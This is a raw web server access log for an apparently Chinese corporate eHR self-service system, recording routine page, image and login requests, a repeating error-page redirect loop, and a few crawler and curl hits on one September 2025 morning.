192.168.11.127 - - [04/Sep/2025:08:59:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
192.168.11.127 - - [04/Sep/2025:09:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702
192.168.11.127 - - [04/Sep/2025:09:00:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:09:00:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:09:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702
192.168.11.127 - - [04/Sep/2025:09:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:09:00:35 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
100.64.0.1 - - [04/Sep/2025:09:00:35 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:00:36 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:09:00:36 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://202.111.43.170:8088/" "Mozilla/5.0 (X11; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
100.64.0.1 - - [04/Sep/2025:09:03:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:09:03:44 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:03:46 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:03:46 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:09:04:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:09:04:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:05:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:09:05:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:09:17 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-86.so HTTP/1.1" 200 20576
100.64.0.1 - - [04/Sep/2025:09:09:17 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-86.so HTTP/1.1" 200 20576 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [04/Sep/2025:09:12:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.12.66 - - [04/Sep/2025:09:12:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.12.66 - - [04/Sep/2025:09:12:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.12.66 - - [04/Sep/2025:09:12:50 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:50 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:09:12:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.12.66 - - [04/Sep/2025:09:12:59 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:59 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.12.66 - - [04/Sep/2025:09:12:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [04/Sep/2025:09:12:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [04/Sep/2025:09:12:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890
192.168.12.66 - - [04/Sep/2025:09:12:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 40327
192.168.12.66 - - [04/Sep/2025:09:13:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 40327 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:01 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
